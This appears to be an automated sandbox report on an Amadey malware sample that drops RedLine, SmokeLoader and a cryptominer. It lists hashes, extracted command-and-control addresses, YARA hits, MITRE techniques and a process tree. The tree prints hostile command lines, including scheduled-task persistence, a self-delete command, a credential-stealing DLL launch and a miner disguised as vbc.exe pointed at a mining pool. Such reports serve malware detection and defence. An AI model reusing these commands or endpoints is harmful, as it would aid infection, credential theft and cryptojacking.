amadey | 3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3

Analysis

max time kernel
115s
max time network
151s
platform
windows10-1703_x64
resource
win10-20220901-en
resource tags

arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
submitted
30-10-2022 11:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3.exe
Size

286KB
MD5

143c85d79d3f859120b69fbd22bf73d0
SHA1

23c4c187b99af027c3ff9eb8e8f5498096a83922
SHA256

3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3
SHA512

08e2b665a1bec4483703cd8e2ce1c20eced0e1e68d6e89150881d3d2743ff5eea19ea217553ca9b8a8aab7b4eac735352d470c6a22577818d55ede9df93711a1
SSDEEP

3072:dCGzz3UcvDLCTcKS9d5/Fj0u2SHWWxDb2oXhZj0tbbj69RaVEa0JM/h3:fUcvDLCTcKSFF0snDfXhZj0ZO9oEaO

Score

10^/10

amadey redline smokeloader google2 high slovarik15btc backdoor discovery infostealer persistence spyware stealer trojan upx

Malware Config

Extracted

Family

redline

Botnet

slovarik15btc

78.153.144.3:2510

Attributes

auth_value
bfedad55292538ad3edd07ac95ad8952

Extracted

Family

redline

Botnet

Google2

167.235.71.14:20469

Attributes

auth_value
fb274d9691235ba015830da570a13578

Extracted

Family

redline

Botnet

High

80.66.87.20:80

Attributes

auth_value
e5a19803f83e644a0008c2114f6c607e

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect Amadey credential stealer module 2 IoCs

resource	yara_rule
behavioral1/files/0x000600000001abf0-1796.dat	amadey_cred_module
behavioral1/files/0x000600000001abf0-1797.dat	amadey_cred_module

Detects Smokeloader packer 1 IoCs

resource	yara_rule
behavioral1/memory/2704-155-0x00000000001E0000-0x00000000001E9000-memory.dmp	family_smokeloader

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 12 IoCs

resource	yara_rule
behavioral1/memory/1424-183-0x0000000001370000-0x0000000001429000-memory.dmp	family_redline
behavioral1/memory/1124-187-0x0000000000420000-0x0000000000448000-memory.dmp	family_redline
behavioral1/memory/1124-185-0x0000000000422000-0x0000000000443000-memory.dmp	family_redline
behavioral1/memory/1424-195-0x0000000001370000-0x0000000001429000-memory.dmp	family_redline
behavioral1/memory/1124-193-0x0000000000442142-mapping.dmp	family_redline
behavioral1/memory/5048-245-0x0000000000820000-0x00000000008D8000-memory.dmp	family_redline
behavioral1/memory/5048-250-0x0000000000820000-0x00000000008D8000-memory.dmp	family_redline
behavioral1/memory/4232-248-0x00000000004221AE-mapping.dmp	family_redline
behavioral1/memory/4232-351-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral1/files/0x000200000001557a-1107.dat	family_redline
behavioral1/files/0x000200000001557a-1132.dat	family_redline
behavioral1/memory/2012-1186-0x0000000000A50000-0x0000000000A78000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Downloads MZ/PE file

Executes dropped EXE 10 IoCs

pid	Process
1424	179F.exe
5048	1C72.exe
1936	2414.exe
3928	eChAhUSSeAssSUSUfHuUCeAKCsFHHKsHFBAKhAKFsCBFEFKHCHESfBS.exe
4076	2DF8.exe
4988	34A1.exe
2820	LYKAA.exe
2680	rovwer.exe
2012	son.exe
2496	rovwer.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000800000001abde-231.dat	upx
behavioral1/files/0x000800000001abde-232.dat	upx
behavioral1/memory/4076-242-0x0000000000D10000-0x00000000014F9000-memory.dmp	upx
behavioral1/memory/4076-596-0x0000000000D10000-0x00000000014F9000-memory.dmp	upx

Deletes itself 1 IoCs

pid	Process
3000	Process not Found

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Windows\CurrentVersion\Run\son.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000189001\\son.exe"	rovwer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1424 set thread context of 1124	1424	179F.exe	68
PID 5048 set thread context of 4232	5048	1C72.exe	72
PID 2820 set thread context of 3760	2820	LYKAA.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4960	schtasks.exe
4604	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4504	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2704	3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3.exe
2704	3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3.exe
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3000	Process not Found

Suspicious behavior: MapViewOfSection 19 IoCs

pid	Process
2704	3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3.exe
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found
3000	Process not Found

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	3928	eChAhUSSeAssSUSUfHuUCeAKCsFHHKsHFBAKhAKFsCBFEFKHCHESfBS.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeDebugPrivilege	2820	LYKAA.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeDebugPrivilege	1124	vbc.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeDebugPrivilege	4232	vbc.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found
Token: SeDebugPrivilege	2012	son.exe
Token: SeShutdownPrivilege	3000	Process not Found
Token: SeCreatePagefilePrivilege	3000	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 1424	3000	Process not Found	66
PID 3000 wrote to memory of 1424	3000	Process not Found	66
PID 3000 wrote to memory of 1424	3000	Process not Found	66
PID 3000 wrote to memory of 5048	3000	Process not Found	67
PID 3000 wrote to memory of 5048	3000	Process not Found	67
PID 3000 wrote to memory of 5048	3000	Process not Found	67
PID 1424 wrote to memory of 1124	1424	179F.exe	68
PID 1424 wrote to memory of 1124	1424	179F.exe	68
PID 1424 wrote to memory of 1124	1424	179F.exe	68
PID 1424 wrote to memory of 1124	1424	179F.exe	68
PID 3000 wrote to memory of 1936	3000	Process not Found	69
PID 3000 wrote to memory of 1936	3000	Process not Found	69
PID 1424 wrote to memory of 1124	1424	179F.exe	68
PID 1936 wrote to memory of 3928	1936	2414.exe	70
PID 1936 wrote to memory of 3928	1936	2414.exe	70
PID 3000 wrote to memory of 4076	3000	Process not Found	71
PID 3000 wrote to memory of 4076	3000	Process not Found	71
PID 5048 wrote to memory of 4232	5048	1C72.exe	72
PID 5048 wrote to memory of 4232	5048	1C72.exe	72
PID 5048 wrote to memory of 4232	5048	1C72.exe	72
PID 5048 wrote to memory of 4232	5048	1C72.exe	72
PID 3928 wrote to memory of 788	3928	eChAhUSSeAssSUSUfHuUCeAKCsFHHKsHFBAKhAKFsCBFEFKHCHESfBS.exe	73
PID 3928 wrote to memory of 788	3928	eChAhUSSeAssSUSUfHuUCeAKCsFHHKsHFBAKhAKFsCBFEFKHCHESfBS.exe	73
PID 5048 wrote to memory of 4232	5048	1C72.exe	72
PID 788 wrote to memory of 4504	788	cmd.exe	75
PID 788 wrote to memory of 4504	788	cmd.exe	75
PID 3000 wrote to memory of 4988	3000	Process not Found	76
PID 3000 wrote to memory of 4988	3000	Process not Found	76
PID 3000 wrote to memory of 4988	3000	Process not Found	76
PID 4076 wrote to memory of 4864	4076	2DF8.exe	77
PID 4076 wrote to memory of 4864	4076	2DF8.exe	77
PID 3000 wrote to memory of 2532	3000	Process not Found	79
PID 3000 wrote to memory of 2532	3000	Process not Found	79
PID 3000 wrote to memory of 2532	3000	Process not Found	79
PID 3000 wrote to memory of 2532	3000	Process not Found	79
PID 3000 wrote to memory of 3656	3000	Process not Found	80
PID 3000 wrote to memory of 3656	3000	Process not Found	80
PID 3000 wrote to memory of 3656	3000	Process not Found	80
PID 3000 wrote to memory of 800	3000	Process not Found	81
PID 3000 wrote to memory of 800	3000	Process not Found	81
PID 3000 wrote to memory of 800	3000	Process not Found	81
PID 3000 wrote to memory of 800	3000	Process not Found	81
PID 3000 wrote to memory of 1436	3000	Process not Found	82
PID 3000 wrote to memory of 1436	3000	Process not Found	82
PID 3000 wrote to memory of 1436	3000	Process not Found	82
PID 3000 wrote to memory of 2148	3000	Process not Found	83
PID 3000 wrote to memory of 2148	3000	Process not Found	83
PID 3000 wrote to memory of 2148	3000	Process not Found	83
PID 3000 wrote to memory of 2148	3000	Process not Found	83
PID 788 wrote to memory of 2820	788	cmd.exe	84
PID 788 wrote to memory of 2820	788	cmd.exe	84
PID 3000 wrote to memory of 2244	3000	Process not Found	85
PID 3000 wrote to memory of 2244	3000	Process not Found	85
PID 3000 wrote to memory of 2244	3000	Process not Found	85
PID 3000 wrote to memory of 2244	3000	Process not Found	85
PID 3000 wrote to memory of 2072	3000	Process not Found	86
PID 3000 wrote to memory of 2072	3000	Process not Found	86
PID 3000 wrote to memory of 2072	3000	Process not Found	86
PID 3000 wrote to memory of 2072	3000	Process not Found	86
PID 3000 wrote to memory of 3260	3000	Process not Found	87
PID 3000 wrote to memory of 3260	3000	Process not Found	87
PID 3000 wrote to memory of 3260	3000	Process not Found	87
PID 2820 wrote to memory of 1340	2820	LYKAA.exe	88
PID 2820 wrote to memory of 1340	2820	LYKAA.exe	88

C:\Users\Admin\AppData\Local\Temp\3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3.exe
"C:\Users\Admin\AppData\Local\Temp\3f9a5a10a9cd9b9ef41da2c543c2f11b44beac341e7f55c00142f55c1570e1d3.exe"
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2704

C:\Users\Admin\AppData\Local\Temp\179F.exe
C:\Users\Admin\AppData\Local\Temp\179F.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1424
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1124

C:\Users\Admin\AppData\Local\Temp\1C72.exe
C:\Users\Admin\AppData\Local\Temp\1C72.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5048
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4232

C:\Users\Admin\AppData\Local\Temp\2414.exe
C:\Users\Admin\AppData\Local\Temp\2414.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1936
- C:\Users\Admin\AppData\Roaming\eChAhUSSeAssSUSUfHuUCeAKCsFHHKsHFBAKhAKFsCBFEFKHCHESfBS.exe
  "C:\Users\Admin\AppData\Roaming\eChAhUSSeAssSUSUfHuUCeAKCsFHHKsHFBAKhAKFsCBFEFKHCHESfBS.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp30F3.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:788
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:4504
  - - C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe
      "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2820
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        5⤵
        
        PID:1340
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "LYKAA" /tr "C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:4960
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RKsS6XcgidDNc8rU38Yiv5STQutyMUu9A4.installs002 -p hybrid -t 5
        5⤵
        
        PID:3760
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c cls
        6⤵
        
        PID:4996

C:\Users\Admin\AppData\Local\Temp\2DF8.exe
C:\Users\Admin\AppData\Local\Temp\2DF8.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\system32\cmd.exe
  cmd.exe /c "del C:\Users\Admin\AppData\Local\Temp\2DF8.exe"
  2⤵
  PID:4864

C:\Users\Admin\AppData\Local\Temp\34A1.exe
C:\Users\Admin\AppData\Local\Temp\34A1.exe
1⤵
- Executes dropped EXE
PID:4988
- C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe
  "C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:2680
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rovwer.exe /TR "C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4604
- - C:\Users\Admin\AppData\Local\Temp\1000189001\son.exe
    "C:\Users\Admin\AppData\Local\Temp\1000189001\son.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\80b59841e5c623\cred64.dll, Main
    3⤵
    PID:4804

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2532

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3656

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:800

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1436

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2148

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2244

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2072

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3260

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4800

C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe
C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe
1⤵
- Executes dropped EXE
PID:2496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe

Filesize
837KB

MD5
e620507c28834b337195ca9d35c4a79b

SHA1
5b80356e3066da91a8193493c9fbfc37e259c226

SHA256
703e1fb4de14b29eca7245d72f7ccf27e1cebb068f6381dc28c64661a4b5058b

SHA512
123b25991a0951cdbd5a9e912db373c6924f465f3332d73c0a7ca0e3520aca84a6eefc1e2b0696f2e326f177a166c3c1a7e25fc8c2594fac5ac1961af58bb2a5

Download Submit
C:\ProgramData\GhubSoftWalletTrust\LYKAA.exe

Filesize
837KB

MD5
e620507c28834b337195ca9d35c4a79b

SHA1
5b80356e3066da91a8193493c9fbfc37e259c226

SHA256
703e1fb4de14b29eca7245d72f7ccf27e1cebb068f6381dc28c64661a4b5058b

SHA512
123b25991a0951cdbd5a9e912db373c6924f465f3332d73c0a7ca0e3520aca84a6eefc1e2b0696f2e326f177a166c3c1a7e25fc8c2594fac5ac1961af58bb2a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Filesize
2KB

MD5
e9883db8665760879faad53f43627b44

SHA1
b749501744dcac1520968f6353c25a46c8d899f3

SHA256
30c4d7cdd2e5ce908fdf9a6da46d8ecf0d4170155de785595b95cf14fa922680

SHA512
83aee020769b2e69ec832b66f3fed136c4f563bdcf60fc80f87e50283e8894af2b6962da89dd5c4f7d949e4629285216b555199d17dd6e6eb7df9634bad272ab

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000189001\son.exe

Filesize
137KB

MD5
0eeaf9bbbc588217d2d3d91db2147ab1

SHA1
11bed4a9dedd2c38793485cf44ce01f9280cc799

SHA256
d8fc3434a00b7ab79cdccb41a5dcd0dc373353fd0da916f042095017e70b57f3

SHA512
ccd35b414084f974a5bc55f0276efd2c61e36c71310781c34f821f0787debf2282562ef8d4012a9c9f1606dde8ca071b4a7adb94221380db17d28b105faccaeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\1000189001\son.exe

Filesize
137KB

MD5
0eeaf9bbbc588217d2d3d91db2147ab1

SHA1
11bed4a9dedd2c38793485cf44ce01f9280cc799

SHA256
d8fc3434a00b7ab79cdccb41a5dcd0dc373353fd0da916f042095017e70b57f3

SHA512
ccd35b414084f974a5bc55f0276efd2c61e36c71310781c34f821f0787debf2282562ef8d4012a9c9f1606dde8ca071b4a7adb94221380db17d28b105faccaeb

Download Submit
C:\Users\Admin\AppData\Local\Temp\179F.exe

Filesize
725KB

MD5
760ed14ca60734a59448b15a8c614143

SHA1
f5e11928e3cee41f36bebae4da877bd310ef0c84

SHA256
2b65876470639ac849a2ab66e83bb7d3db79ed0638331fbad9cd63eef3d19207

SHA512
5b891917bda0d10fb7f73e61e6f2b410378c061f9900da9f4d4631028ed3619a2e5e8eba817d932b14272d32ecded1802b035c2356e6416e5ea39ae3da638212

Download Submit
C:\Users\Admin\AppData\Local\Temp\179F.exe

Filesize
725KB

MD5
760ed14ca60734a59448b15a8c614143

SHA1
f5e11928e3cee41f36bebae4da877bd310ef0c84

SHA256
2b65876470639ac849a2ab66e83bb7d3db79ed0638331fbad9cd63eef3d19207

SHA512
5b891917bda0d10fb7f73e61e6f2b410378c061f9900da9f4d4631028ed3619a2e5e8eba817d932b14272d32ecded1802b035c2356e6416e5ea39ae3da638212

Download Submit
C:\Users\Admin\AppData\Local\Temp\1C72.exe

Filesize
725KB

MD5
ab6c7ec51ca619fadef5df5722bf6689

SHA1
460faa3061e5ceb05c4bb7dcb2f6dcc94ed44317

SHA256
710cac71b68916ded1228658608f54bd6cb07123b913defea5f45458c2337fbb

SHA512
f6aeebc27caa232876aa247c5dd08dad8e5d74cdadb98e0db2461c1beec200efc89c4e313852bb994c52fe91131f3898924e8fedc5f6a05f8bcc48f8f4c09128

Download Submit
C:\Users\Admin\AppData\Local\Temp\1C72.exe

Filesize
725KB

MD5
ab6c7ec51ca619fadef5df5722bf6689

SHA1
460faa3061e5ceb05c4bb7dcb2f6dcc94ed44317

SHA256
710cac71b68916ded1228658608f54bd6cb07123b913defea5f45458c2337fbb

SHA512
f6aeebc27caa232876aa247c5dd08dad8e5d74cdadb98e0db2461c1beec200efc89c4e313852bb994c52fe91131f3898924e8fedc5f6a05f8bcc48f8f4c09128

Download Submit
C:\Users\Admin\AppData\Local\Temp\2414.exe

Filesize
1.1MB

MD5
fc94f1745be2386dfa3b366c85087517

SHA1
11a5b56dec0c9a123384a7a1c71b724e79371c6f

SHA256
62625350280734d5a4f3cc76ea43e398a880a61b9d5eaeafff36ef5a64146917

SHA512
323d3af27ed930957842fda8bfc42ab0d3efa220c8023ee6583c3c735a1cd8c52248ba387155c76ea295ba600288f776d5a046ce0b1170b206dc4e2d6c4c4514

Download Submit
C:\Users\Admin\AppData\Local\Temp\2414.exe

Filesize
1.1MB

MD5
fc94f1745be2386dfa3b366c85087517

SHA1
11a5b56dec0c9a123384a7a1c71b724e79371c6f

SHA256
62625350280734d5a4f3cc76ea43e398a880a61b9d5eaeafff36ef5a64146917

SHA512
323d3af27ed930957842fda8bfc42ab0d3efa220c8023ee6583c3c735a1cd8c52248ba387155c76ea295ba600288f776d5a046ce0b1170b206dc4e2d6c4c4514

Download Submit
C:\Users\Admin\AppData\Local\Temp\2DF8.exe

Filesize
2.8MB

MD5
71f2cda4d37c2d14e25508aea40dc9ab

SHA1
9a377f7966fb3c2d2c57cdc1fba0c115baca79ee

SHA256
24c473a2c1932ea9bcb5c3ce443da0ce704f60b180243e605cc7fe86fd5db80a

SHA512
a060e640cd330bf4a0725b3600342b0587649b5fce7f150b79a37df8866b2b9460c6341326ef0ffd5d194f59befcf46b940ee17c0d205d38f8cc7310e4a0195f

Download Submit
C:\Users\Admin\AppData\Local\Temp\2DF8.exe

Filesize
2.8MB

MD5
71f2cda4d37c2d14e25508aea40dc9ab

SHA1
9a377f7966fb3c2d2c57cdc1fba0c115baca79ee

SHA256
24c473a2c1932ea9bcb5c3ce443da0ce704f60b180243e605cc7fe86fd5db80a

SHA512
a060e640cd330bf4a0725b3600342b0587649b5fce7f150b79a37df8866b2b9460c6341326ef0ffd5d194f59befcf46b940ee17c0d205d38f8cc7310e4a0195f

Download Submit
C:\Users\Admin\AppData\Local\Temp\34A1.exe

Filesize
319KB

MD5
8fa605bb12a952724ce24cfe1dece3f9

SHA1
cc4ca6852b521eee386218b855827ec063075698

SHA256
d5b622f0bf1e9328354094a5ab846ac09442c5aa906dd3105f7d7ddebfd22141

SHA512
03368bdeab20d67e0428e276f76a296b41d79ef09b2b545e1879346d286666b9a000184106e45b0e00f2b6ad959a799382756023b27aba011aff8755f3d22054

Download Submit
C:\Users\Admin\AppData\Local\Temp\34A1.exe

Filesize
319KB

MD5
8fa605bb12a952724ce24cfe1dece3f9

SHA1
cc4ca6852b521eee386218b855827ec063075698

SHA256
d5b622f0bf1e9328354094a5ab846ac09442c5aa906dd3105f7d7ddebfd22141

SHA512
03368bdeab20d67e0428e276f76a296b41d79ef09b2b545e1879346d286666b9a000184106e45b0e00f2b6ad959a799382756023b27aba011aff8755f3d22054

Download Submit
C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe

Filesize
319KB

MD5
8fa605bb12a952724ce24cfe1dece3f9

SHA1
cc4ca6852b521eee386218b855827ec063075698

SHA256
d5b622f0bf1e9328354094a5ab846ac09442c5aa906dd3105f7d7ddebfd22141

SHA512
03368bdeab20d67e0428e276f76a296b41d79ef09b2b545e1879346d286666b9a000184106e45b0e00f2b6ad959a799382756023b27aba011aff8755f3d22054

Download Submit
C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe

Filesize
319KB

MD5
8fa605bb12a952724ce24cfe1dece3f9

SHA1
cc4ca6852b521eee386218b855827ec063075698

SHA256
d5b622f0bf1e9328354094a5ab846ac09442c5aa906dd3105f7d7ddebfd22141

SHA512
03368bdeab20d67e0428e276f76a296b41d79ef09b2b545e1879346d286666b9a000184106e45b0e00f2b6ad959a799382756023b27aba011aff8755f3d22054

Download Submit
C:\Users\Admin\AppData\Local\Temp\b667dbdcd8\rovwer.exe

Filesize
319KB

MD5
8fa605bb12a952724ce24cfe1dece3f9

SHA1
cc4ca6852b521eee386218b855827ec063075698

SHA256
d5b622f0bf1e9328354094a5ab846ac09442c5aa906dd3105f7d7ddebfd22141

SHA512
03368bdeab20d67e0428e276f76a296b41d79ef09b2b545e1879346d286666b9a000184106e45b0e00f2b6ad959a799382756023b27aba011aff8755f3d22054

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp30F3.tmp.bat

Filesize
153B

MD5
03f721d9f913c164e5020433af08665c

SHA1
07decd159a223a2cf97ede779cecec46781a1b02

SHA256
4175d402ddaaeb0ea8550805cecfb17b9a72cbe182b3b79d03ba55e1e8428cbd

SHA512
c6758da67a1487ac94234e4419ebb4c189eeab0ed7b746387ba0962d3bef474ce7d8594372007692f01da508913688689a920e316fb7a1a1bd93a9ca74e1ffc2

Download Submit
